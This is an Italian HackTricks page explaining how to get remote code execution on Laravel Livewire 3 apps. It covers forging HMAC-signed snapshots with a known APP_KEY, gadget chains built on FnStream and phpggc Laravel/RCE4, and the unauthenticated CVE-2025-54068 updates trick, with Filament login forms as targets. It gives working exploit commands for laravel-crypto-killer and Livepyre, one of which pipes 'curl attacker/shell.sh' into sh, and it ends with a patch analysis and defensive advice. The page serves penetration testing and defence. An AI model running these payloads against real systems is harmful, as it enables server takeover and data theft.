Laravel Livewire Hydration & Synthesizer Abuse

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks

Riepilogo della state machine di Livewire

I componenti Livewire 3 scambiano il loro stato tramite snapshots che contengono data, memo e un checksum. Ogni POST a /livewire/update reidrata lo snapshot JSON lato server ed esegue le calls/updates in coda.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Chiunque possieda APP_KEY (usata per derivare $hashKey) può quindi forgiare snapshot arbitrari ricalcolando l’HMAC.

Le proprietà complesse sono codificate come synthetic tuples rilevate da Livewire\Drawer\BaseUtils::isSyntheticTuple(); ogni tuple è [value, {"s":"<key>", ...meta}]. Il core di hydration semplicemente delega ogni tuple al synth selezionato in HandleComponents::$propertySynthesizers e ricorre sui figli:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Questo design ricorsivo rende Livewire un generic object-instantiation engine una volta che un attacker controlla il tuple metadata o qualsiasi nested tuple processato durante la ricorsione.

Synthesizers che concedono gadget primitives

SynthesizerComportamento controllato dall’attacker
CollectionSynth (clctn)Instanzia new $meta['class']($value) dopo aver reidratato ogni child. Qualsiasi class con un array constructor può essere creata, e ogni item può a sua volta essere un synthetic tuple.
FormObjectSynth (form)Chiama new $meta['class']($component, $path), poi assegna ogni public property dai child controllati dall’attacker tramite $hydrateChild. Constructors che accettano due parametri debolmente tipizzati (o default args) sono sufficienti per raggiungere arbitrary public properties.
ModelSynth (mdl)Quando key è assente da meta esegue return new $class; permettendo instanziazione senza argomenti di qualsiasi class sotto controllo dell’attacker.

Poiché gli synth invocano $hydrateChild su ogni nested element, è possibile costruire arbitrary gadget graphs impilando tuple ricorsivamente.

Forgiare snapshot quando APP_KEY è noto

  1. Cattura una legittima richiesta /livewire/update e decodifica components[0].snapshot.
  2. Inietta nested tuples che puntano a gadget classes e ricalcola checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Re-encode il snapshot, lascia _token/memo invariati e riproduci la richiesta.

Una proof of execution minima usa Guzzle’s FnStream e Flysystem’s ShardedPrefixPublicUrlGenerator. Un tuple istanzia FnStream con dati del constructor { "__toString": "phpinfo" }, il successivo istanzia ShardedPrefixPublicUrlGenerator con [FnStreamInstance] come $prefixes. Quando Flysystem esegue il cast di ogni prefix a string, PHP invoca il callable __toString fornito dall’attacker, chiamando qualsiasi function senza argomenti.

Da function calls a full RCE

Sfruttando le primitive di instanziazione di Livewire, Synacktiv ha adattato la chain Laravel/RCE4 di phpggc in modo che la hydration avvii un object la cui public Queueable state attiva la deserializzazione:

  1. Queueable trait – qualsiasi object che usa Illuminate\Bus\Queueable espone public $chained ed esegue unserialize(array_shift($this->chained)) in dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) viene istanziato tramite CollectionSynth / FormObjectSynth con public $chained popolato.
  3. phpggc Laravel/RCE4Adapted – il serialized blob memorizzato in $chained[0] costruisce PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() infine chiama call_user_func_array($closure, $args) abilitando system($cmd).
  4. Stealth termination – passando un secondo callable FnStream come [new Laravel\Prompts\Terminal(), 'exit'], la richiesta termina con exit() invece che con una rumorosa exception, mantenendo pulita la HTTP response.

Automatizzare la forgery dello snapshot

synacktiv/laravel-crypto-killer ora include una modalità livewire che assembla tutto:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Lo strumento analizza lo snapshot catturato, inietta le gadget tuple, ricalcola il checksum e stampa un payload /livewire/update pronto all’invio.

CVE-2025-54068 – RCE without APP_KEY

Secondo il vendor advisory, il problema colpisce Livewire v3 (>= 3.0.0-beta.1 and <= 3.6.3) ed è specifico di v3.

updates vengono mergiate nello state del component dopo che il checksum dello snapshot è stato validato. Se una property all’interno dello snapshot è (o diventa) una synthetic tuple, Livewire riusa i suoi meta mentre hydrate il valore di update controllato dall’attacker:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Ricetta di exploit:

  1. Trova un componente Livewire con una proprietà pubblica non tipizzata (ad es. public $count;).
  2. Invia un update che imposti quella proprietà a []. Il next snapshot ora la memorizza come [[], {"s": "arr"}].

Un flusso minimale di type-juggling ha questo aspetto:

POST /livewire/update
...
"updates": {"count": []}

Poi il next snapshot memorizza una tupla che conserva i metadati del synthesizer arr:

"count": [[], {"s": "arr"}]
  1. Crea un altro payload updates in cui quella proprietà contiene un array profondamente annidato che incorpora tuple come [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. Durante la ricorsione, hydrate() valuta ogni child annidato in modo indipendente, quindi le chiavi/classi synth scelte dall’attaccante vengono onorate anche se la tupla esterna e il checksum non sono mai cambiati.
  3. Riutilizza gli stessi primitive CollectionSynth/FormObjectSynth per instanziare un gadget Queueable il cui $chained[0] contiene il payload phpggc. Livewire elabora gli update falsificati, invoca dispatchNextJobInChain(), e raggiunge system(<cmd>) senza conoscere APP_KEY.

Motivi principali per cui funziona:

  • updates non sono coperti dal checksum dello snapshot.
  • getMetaForPath() si fida di qualunque metadato synth fosse già presente per quella proprietà, anche se l’attaccante l’aveva precedentemente forzata a diventare una tupla tramite weak typing.
  • Ricorsione + weak typing permettono di interpretare ogni array annidato come una nuova tupla, quindi chiavi synth arbitrarie e classi arbitrarie arrivano infine alla hydration.

Target pre-auth ad alto valore: Filament login forms

Le applicazioni costruite sopra Livewire spesso espongono una surface pre-auth ancora più semplice di una proprietà di prova public $count;. Per esempio, le pagine di login di Filament comunemente hydrated un oggetto $form debolmente tipizzato che è già serializzato come tupla form nello snapshot. Questo elimina del tutto il passaggio di setup “scalar -> array -> tupla arr”:

  • Lo snapshot contiene già qualcosa come {"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}.
  • Un attaccante può inviare updates.form con tuple malevole annidate direttamente, perché la ricorsione reinterpreterà infine child come [payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}].
  • Ecco perché gli entrypoint Livewire pre-auth che espongono oggetti FormObjectSynth sono particolarmente interessanti: forniscono già sia l’instantiation sia l’assegnazione di public-property.

Patch analysis: preservare i metadati raw durante la ricorsione dell’update

La fix introduce un percorso dedicato hydratePropertyUpdate() così i valori annidati degli update non chiamano più il generico hydrate($child, ...) su child controllati dall’attaccante:

protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);

return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}

Impatto della patch:

  • Gli aggiornamenti annidati vengono rivalidati rispetto al path originale dello snapshot raw invece di fidarsi dei nuovi metadati tuple forniti dall’attaccante.
  • La hydration ricorsiva non consente più ai child di ridefinire s o class a metà esecuzione.
  • Questo blocca sia il cambio arbitrario del synthesizer sia la selezione arbitraria della class all’interno degli array di nested update.

Livepyre – end-to-end exploitation

Livepyre automatizza sia il CVE senza APP_KEY sia il path dello snapshot firmato:

  • Identifica la versione di Livewire deployata analizzando <script src="/livewire/livewire.js?id=HASH"> (oppure ?v=HASH) e mappando l’hash alle release vulnerabili.
  • Raccoglie snapshot baseline riproducendo azioni innocue ed estraendo components[].snapshot.
  • Genera un payload solo updates (CVE-2025-54068) oppure uno snapshot forgiato (APP_KEY noto) che incorpora la chain phpggc.
  • Se in uno snapshot non viene trovato alcun parametro di tipo object, Livepyre passa al brute-forcing dei parametri candidati per arrivare a una property coercible.

Uso tipico:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check esegue una probe non distruttiva, -F salta il version gating, -H e -P aggiungono header o proxy personalizzati, e --function/--param personalizzano la funzione php invocata dalla gadget chain.

Considerazioni difensive

  • Aggiorna a build Livewire corrette (>= 3.6.4 secondo il vendor bulletin) e distribuisci la patch del vendor per CVE-2025-54068.
  • Evita proprietà pubbliche debolmente tipizzate nei componenti Livewire; tipi scalari espliciti impediscono che i valori delle proprietà vengano coerciti in array/tuple.
  • Registra solo i synthesizer di cui hai davvero bisogno e tratta i metadati controllati dall’utente ($meta['class']) come non attendibili.
  • Rifiuta gli aggiornamenti che cambiano il tipo JSON di una proprietà (ad esempio, scalar -> array) a meno che non sia esplicitamente consentito, e rigenera i synth metadata invece di riutilizzare tuple obsolete.
  • Ruota APP_KEY rapidamente dopo qualsiasi disclosure perché consente la forgiatura offline degli snapshot indipendentemente da quanto sia patchato il code-base.

References

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks